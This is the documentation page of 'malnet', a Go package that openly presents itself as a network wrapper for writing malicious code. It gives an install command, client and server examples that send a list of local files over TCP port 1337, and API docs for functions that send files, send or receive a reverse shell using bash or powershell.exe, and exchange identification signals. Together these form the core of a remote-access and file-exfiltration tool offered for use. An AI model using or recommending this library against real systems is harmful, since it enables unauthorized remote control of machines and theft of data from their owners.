malnet

package module
v0.1.3 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Sep 24, 2022 License: MIT Imports: 8 Imported by: 0

README

malnet

net wrapper library with interesting functions for creating malicious code

GoDoc codebeat Go Report Card

Installation

go get github.com/41337/malnet

examples

example of a client getting a list of available files from the server

  • note: the inverse is also possible, a server can receive a list of files from a client

client.go

package main

import (
	"fmt"
	"log"
	"net"

	"github.com/41337/malnet"
)

func main() {
	// connect with server
	conn, err := net.Dial("tcp", ":1337")
	if err != nil {
		log.Fatalln(err)
	}

	// if you receive a list of files then
	if files, err := malnet.ReceiveFileList(conn); err == nil {
		// for each file in files
		for _, file := range files {
			fmt.Printf("Name: %s, Is Dir: %v\n", file.Filename, file.IsDir)
		}
	} else {
		log.Fatalln(err)
	}
}

server.go

package main

import (
	"log"
	"net"

	"github.com/41337/malnet"
)

func main() {
	// start listening
	listener, err := net.Listen("tcp", ":1337")
	if err != nil {
		log.Fatalln(err)
	}

	for {
		// accept connections
		conn, err := listener.Accept()
		if err != nil {
			log.Fatalln(err)
		}

		// i send the list of local files for the connection
		err = malnet.SendFileList(conn)
		if err != nil {
			log.Fatalln(err)
		}
	}

}

Documentation

Overview

net wrapper library with interesting functions for creating malicious code

Index

Constants

This section is empty.

Variables

This section is empty.

Functions

func ReceiveShell added in v0.1.3

func ReceiveShell(connection net.Conn, callback ReverseShellCallback) bool

this function receives a shell from the connection then calls the callback with output arguments are: connection=as the name says, the connection handler, callback is a function that you can pass it receives the output you can embed a prompt in it.

func ReciveFile

func ReciveFile(connection net.Conn) error

function to receive file from a connection arguments are: connection=as the name says, the connection handler standard error handling, will come nil if it works

func SendFile

func SendFile(path string, connection net.Conn) error

function to send files over a connection arguments are: path=path to the file to be send, connection=as the name says, the connection handler standard error handling, will come nil if it works

func SendFileList

func SendFileList(path string, connection net.Conn) error

function to list local files and send this list over connection arguments are: path=path where the files will be listed, connection=as the name says, the connection handler standard error handling, will come nil if it works

func SendIdentifyingSignal added in v0.1.2

func SendIdentifyingSignal(identification string, connection net.Conn) error

function to send an identification notice to avoid unexpected errors between integrations. think of it as an alert to your code to know what is an id call to receive files or a reverse shell call the argument and the identification flag, and the connection standard error handling, will come nil if it works

func SendShell added in v0.1.3

func SendShell(shellCommand string, connection net.Conn) error

this function send reverse shell for connection arguments are: shellCommand=command responsible for starting a shell session (on linux: bash) in windows powershell.exe, connection=as the name says, the connection handler standard error handling, will come nil if it works

func ValidateIdentificationSign added in v0.1.2

func ValidateIdentificationSign(identificationExpected string, connection net.Conn) bool

this function validates a received id then returns if it is valid or not it serves to validate data that is yet to be received, without this data going to a function that does not expect this data the argument and the identification flag, and the connection

Types

type FileList

type FileList struct {
	Filename string
	IsDir    bool
}

typing to a list with file/directory name and confirming if this item is indeed a directory or not

func ReceiveFileList

func ReceiveFileList(connection net.Conn) ([]FileList, error)

function to which receives a list of files from the connection then returns it in the file|isDir format arguments are: connection=as the name says, the connection handler standard error handling, will come nil if it works

type ReverseShellCallback added in v0.1.3

type ReverseShellCallback func(Reader *io.PipeReader) (string, bool)

struct for a reverse shell callback and response

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL